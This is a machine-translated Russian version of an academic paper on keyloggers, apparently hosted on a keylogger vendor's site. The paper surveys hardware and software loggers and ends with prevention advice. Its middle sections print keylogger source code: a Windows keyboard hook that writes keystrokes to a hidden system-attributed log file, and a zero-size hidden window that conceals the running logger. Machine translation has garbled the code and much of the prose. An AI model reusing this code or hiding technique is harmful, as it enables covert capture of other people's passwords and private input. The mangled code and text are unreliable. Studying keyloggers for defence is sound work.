This is a machine translation. The original page (in English) is available here.
Окна
Мак ОС
Мобильный

Последние новости: 19 сентября, 2016 - мы добавили новые категории для контроля испытаний продукции: микрофон и веб-камера, запись и т. д... RSS канал

Главная>статьи>Кейлоггеров: забывают угрозу для безопасности компьютера

AnyKeylogger для Mac

Кейлоггеры: Упускается из виду угрозу безопасности компьютера

Кишор Subramanyam, Чарльз Э. Фрэнк, Дональд Ф. Галли

Кишор Subramanyam, Чарльз Э. Фрэнк Дональд Х. Галли
Кафедра математики и информатики
Университет Северного Кентукки
Хайленд Хайтс, Кентукки 41099
{subramanyamk, Фрэнк, [email protected]

Аннотация

Кейлоггеры аппаратных средств или программного обеспечения, которое записывает нажатия клавиш. Они представляют собой серьезную угрозу для конфиденциальности пользователей компьютеров. Мы установили и протестировали различные кейлоггеры и исследованными код кейлоггер. Кроме того, мы рассмотрели то, что известно о кейлоггеры, в основном из интернет-источников. В статье дается анализ механизмов кейлоггеров и почему обнаружение трудно. Мы предлагаем несколько рекомендаций о мерах пользователи компьютеров должны принять.

1. Введение

Создает запись всех действий пользователя компьютера. Они продаются для контроля использования компьютера детьми или поймать обман супруга. Они используются для кражи кредитных карт и номера банковских счетов, имена пользователей и пароли. Они также используются для контроля за сотрудниками.

Кейлоггеры могут быть установлены, получив физический доступ к компьютеру или загруженных программ. Их небольшие размеры в плане памяти и процессора делает их практически неуловимыми. Кейлоггеры можете по электронной почте или FTP файл, содержащий клавиш обратно в шпионаже человека.

Кейлоггеры не получают такого же внимания, как вирусы и черви. Стандартные ссылки на вирусы, черви и троянские кони [4] выделяет один пункт клавиатурных шпионов. Среди компьютерных книг безопасности, [2] едва упоминает, клавиатурных шпионов и [1] и [9] не упоминайте их вообще.

Двух последних случаях выделить угрозы клавиатурных шпионов. В феврале 2003 года, Дэвид Будро, Бостонский студент, был обвинен в установке кейлоггеров на более чем 100 компьютеров университета [10]. Он использовал информацию о преподаватели, студенты и сотрудники, чтобы украсть 2,000$. В июле 2003 года, Жужу Цзян признал себя виновным в установке кейлоггеров в двадцати магазинах "Кинко" в Нью-Йорке [7]. Он удаленно захваченные нажатия клавиш и кражи имен пользователей и паролей в течение двух лет, прежде чем он был пойман.

2. АППАРАТНЫЕ КЕЙЛОГГЕРЫ

Аппаратные кейлоггеры бывают нескольких форм и форм. Они могут быть внешние крепления между клавиатурой и портом. Это кусок кабеля с небольшой цилиндр в цветах, чтобы соответствовать кабель клавиатуры. Они занимают меньше минуты, чтобы установить. Так как они располагаются на задней панели компьютера, их трудно обнаружить. Кроме того, аппаратных кейлоггеров может быть устройством, находящимся внутри блока рядом с порт клавиатуры или внутри самой клавиатуры. Эти устройства физически невидимы для пользователя компьютера.

Многие продавцы продают аппаратных кейлоггеров. Мы протестировали KeyGhost 99 $STD с 512 Кб флэш-памяти [5]. Вопреки нашим ожиданиям, не удалось обнаружить в KeyGhost прикреплены между клавиатурой и портом ввода/вывода как новое устройство не отображается в списке устройств.

3. ПРОГРАММНЫЕ КЕЙЛОГГЕРЫ

Разнообразные кейлоггеры можно найти с помощью функции поиска для "кейлоггер" через поисковик. Программные кейлоггеры могут также быть загружены бесплатно из любого форума кейлоггер [3]. Для данного проекта мы старались как коммерческих, так и бесплатных программ кейлоггеров.

Кейлоггер программное обеспечение может быть установлено на компьютере с правами администратора. Они приходят в различных формах. Кейлоггер может быть исполняемый файл, написанный в Visual Основные. Это может быть драйвер устройства, который заменяет существующий драйвере ввода-вывода со встроенными ключевые функции ведения журнала. Наиболее часто, как обычно пишутся на C/C++ с использованием Крючки для Windows.

Мы протестировали Рейтауне, Призрак, Amecisco, KmInt21 программ-шпионов. Каждый из них работал по-другому, но конечный результат был тот же. Они записываются нажатия клавиш и щелчки мыши и писал в файл. Они имели возможность шифрования и дешифрования файлов журнала и возможность отправки файла адресату через Интернет.

Никто из них не появился в диспетчере задач, ни в списке процессов. Журналов кейлоггеров были скрыты. Этих журналов было трудно отличить от файлов операционной системы, даже если
делая список каталогов скрытые файлы.

4. АНТИ-КЕЙЛОГГЕРЫ

Анти-кейлоггер программное обеспечение, которое направлено на то, чтобы обнаруживать кейлоггеры. Мы установили и протестировали Рейтауне и Spydex анти-кейлоггеры. Анти-кейлоггеры не обнаруживают каких-либо программ-шпионов или KeyGhost аппаратный кейлоггер. Единственным исключением был Рэйтаун анти-кейлоггер обнаруживается своя Рэйтаун кейлоггер. Причина в том, что существует множество способов для рекламы, чтобы работать и скрываться.

Дискуссионные группы [3] обратите внимание, что анти-кейлоггеров, которые обнаруживают многие кейлоггер имеют очень высокий уровень ложных срабатываний. Эти анти-клавиатурных шпионов монитор программ, используя крючки Windows и крючки используются многие функции.

5. КРЮЧКИ ДЛЯ WINDOWS

Окна крюк [3, 8] является ядром многих клавиатурных шпионов. Крючок-это точка в системе обработки Сообщений механизм, где приложение может установить процедуры для перехвата Сообщений, прежде чем он достигнет целевой оконной процедуры. Процедура подключения имеет следующий прототип.

LRESULT обратного вызова метода hookproc( 
Тип int nCode, // определяет действие, которое будет выполнено
Параметр wparam параметр wparam, параметр // в зависимости от nCode
Параметр lparam lparam должен параметр // в зависимости от nCode
);


А крюк цепи - это список указателей на крючок процедур. Когда возникает сообщение что связано с определенным типом крюка, система передает сообщение к каждой процедуре крючка, на которые ссылается в цепи крюк, один за другим.

Процедура подключения может контролировать или изменять сообщение, проходя через цепочку крючком. Это может также предотвратить сообщение от достижения следующей процедуре крюк или целевой оконной процедуры.

В SetWindowsHookEx устанавливает функции определяется приложением крюка процедуры в начале крюк цепи. Она имеет следующий прототип функции:

HHOOK SetWindowsHookEx(
инт idHook, // определяет тип крюк
Метода hookproc lpfn, // указатель на процедуру подключения
HMod HINSTANCE, // указатель на dll, содержащую процедуру подключения
Типа DWORD dwThreadId // идентификатор связанного потока
);


Мы изучили исходный код нескольких клавиатурных шпионов найти в [6]. Если человек учится использовать крючки с электроприводом, кейлоггеров не трудно написать. Они не требуют много кода.

Вот InstallHook функция от кейлоггеров. Он связывает лог-файл и установит клавиатуру лесозаготовки процедура KeyboardProc в крюк цепи путем вызова SetWindowsHookEx.

БООЛ по WinAPI InstallHook(БООЛ перезаписать)
{
если(перезаписи) // перезаписывает файл журнала?
{
SetFileAttributes((LPCTSTR)именем,
FILE_ATTRIBUTE_ARCHIVE);
Ф1 = с помощью функции fopen(имя_файла, "ж");
функции fclose(Ф1);
}
// установить свойство Hidden файла журнала
SetFileAttributes((LPCTSTR)именем,
FILE_ATTRIBUTE_HIDDEN|
FILE_ATTRIBUTE_SYSTEM);
// вызов выиграть API, чтобы установить крюк
hkb = SetWindowsHookEx(WH_KEYBOARD,
(Метода hookproc)KeyboardProc,hInstance,0);
возвратите True;
}


6. НА WH_KEYBOARD КРЮК

Из пятнадцати различных типов Хук WH_KEYBOARD и WH_MOUSE важны для написания кейлоггера. Мы описываем WH_KEYBOARD Тип крюк. На WH_KEYBOARD крючок позволяет приложение для мониторинга трафика сообщений для WM_KEYDOWN и WM_KEYUP сообщения, которые будут возвращены функции getmessage или PeekMessage функции. Этот крюк может быть использован для мониторинга ввода с клавиатуры, размещенной в очередь сообщений через KeyboardProc крюк процедура. Операционная система вызывает эту процедуру каждый раз, когда приложение вызывает функции getmessage или PeekMessage функция и есть клавиатура сообщения (WM_KEYUP или WM_KEYDOWN) для обработки. Она имеет следующий прототип функции:

LRESULT ОТЗВОНИЛИСЬ KeyboardProc(
код int, // определяет способ обработки сообщения
Параметр wparam параметр wparam, // виртуальный-ключевой код генерации ключа сообщение
Параметр lparam lparam должен // повторов, код сканирования, ключевые флаг,
// код контекста, Предыдущее состояние клавиши флаг
// и переход-государственный флаг
);


Вот код KeyboardProc от кейлоггеров. Он открывает файл журнала и пишет персонаж. При необходимости, он называет ToAscii функция перевести на указанный виртуальный код клавиши клавиатуры в соответствующий символ или символы.

LRESULT стек обратного вызова KeyboardProc(
Тип int nCode, параметр wparam параметр wparam,
Параметр lparam lparam должен)
{
голец ч;
locname типа char[80];
и strcpy(locname,именем);
если (((типа DWORD)параметр lparam & 0x40000000
&&(HC_ACTION==nCode))
{
если((параметр wparam==VK_SPACE)||
(параметр wparam==VK_RETURN)||
(параметр wparam>=с 0x2f ) &&
(параметр wparam<=0x100))
{
Ф1=с помощью функции fopen(locname,"а+");
если (параметр wparam==VK_RETURN)
{
ч='\п';
// характера скопировать файл журнала
fwrite(&ч,1,1,Ф1);
}
еще
{
// массив получает сведения о состоянии для каждой виртуальной клавиши
Байт КС[256];
GetKeyboardState(КС);
Слово W;
Виде uint сканирования;
сканирование=0;
ToAscii(параметр wparam,сканирование,
КС и ш,0);
ч =чаре(Вт);
// характера скопировать файл журнала
fwrite(&ч,1,1,Ф1);
}
функции fclose(Ф1);
}
}
LRESULT Ратавалі = CallNextHookEx(
hkb, nCode, параметр wparam, lparam должен );
вернуть код;
}


Когда происходит событие, которое контролируется определенным типом крюка, Операционная система вызывает процедуру в начале цепочки крючком. Каждая процедура крючок в цепочке определяет, следует ли передать событие к следующей процедуре. Крюк процедура проходит событие в следующую процедуру путем вызова CallNextHookEx функции.

7. ПРЯЧАСЬ КЕЙЛОГГЕР

Есть много способов, чтобы скрыть запущенный кейлоггер не отображалась в диспетчере задач или списке процессоров. Вот один способ, чтобы скрыть это, открыв скрытое окно на запуск и настройку требуемых параметров.

WNDCLASSEX wincl;
wincl.hInstance = hInstance;
wincl.lpszClassName = имя;
wincl.lpfnWndProc = wndproc, который;
// Принять все свойства окна нулю.
// Это позволит сделать окно невидимым.
wincl.стиль = 0;
wincl.cbSize = оператор sizeof(WNDCLASSEX);
wincl.hIcon = нуль;
wincl.hIconSm = NULL;в
wincl.hCursor = нуль;
wincl.lpszMenuName = NULL;в
wincl.cbClsExtra = 0;
wincl.cbWndExtra = 0;
wincl.hbrBackground = 0;
wincl.lpszMenuName = NULL;в
если(!RegisterClassEx(&wincl)) возвращает 0;
// Сделать все параметры дисплея
// (электронные.г высота и ширина) ноль.
// Это позволит сделать его невидимым из панели задач
его hwnd = CreateWindowEx(0,(LPCTSTR)наименование,"",
0,0,0,0,0,HWND_DESKTOP,NULL,ТО
hInstance,значение NULL);
Функции showwindow(его hwnd,SW_HIDE);


8. ПРОФИЛАКТИЧЕСКИЕ МЕРЫ

Мы обнаружили, что кейлоггеры практически невозможно отследить после установки. Однако, существует несколько профилактических мер, которые могут быть приняты.
1. Большинство пользователей Windows должны иметь ограниченные привилегии, сделав их частью группы пользователей.
2. Группа Администраторов должна иметь очень мало лиц, и они должны иметь сильную политику пароля.
3. Никто никогда не должен подключаться к сети или даже внутренней сети при входе в систему как администратор. Это дает прослушиванию сети карт-бланш доступ к машине и возможность удаленной установки программного обеспечения.
4. Клавиатуры компьютера порт должен быть проверен, чтобы увидеть, если аппаратный кейлоггер прилагается.

9. Заключение

Кейлоггеры не просто написать и прост в установке. Они легко приобретены в Интернете [3, 6] или можно приобрести по скромной цене. Анти-кейлоггеры являются неэффективными. Лучшее, что можно сделать, чтобы предотвратить ключ регистрации, чтобы использовать лучшие практики безопасности и выполнять физические проверки аппаратных кейлоггеров.

10. Ссылки

[1] Коул, Эрик, Хакеры, Берегитесь, Новые Гонщики Издание, 2002.

[2] Гарфинкель, С. Спаффорд, г. Шварц, А., практическое ОС Unix и Интернет безопасность, O'Reilly & Сподвижницы, 3-е издание, 2003.

[3] группы Google, http://www.google.com/groups

[4] Граймс, Роджер А., вредоносного мобильного кода, О'Райли и Партнеры, 2001, (стр. 190).

[5] Keyghost, http://www.keyghost.com

[6] Кейлоггер исходный код http://www.planetsourcecode.com

[7] "Кинко шпионского дела, подчеркивает опасность общественных Интернет-терминалов",
http://www.siliconvalley.com/mld/siliconvalley/news/6359407.htm

[8] сеть разработчиков Microsoft, http://msdn.Microsoft.com

[9] Pfleeger, и Pfleeger, С.Безопасности в вычислительной, 3-й выпуск, Прентис-Холл, 2003.

[10] "студент: Оплата после колледжа компьютеров взломан", http://www.xatrix.org/article2641.html
Прочитать полный текст статьи
Главная>статьи>Кейлоггеров: забывают угрозу для безопасности компьютера
Важно! Установка средств мониторинга компьютеров Вы не владеете или не имеете разрешение монитора может нарушить местным, государственным или Федеральным законом.
Предложить перевод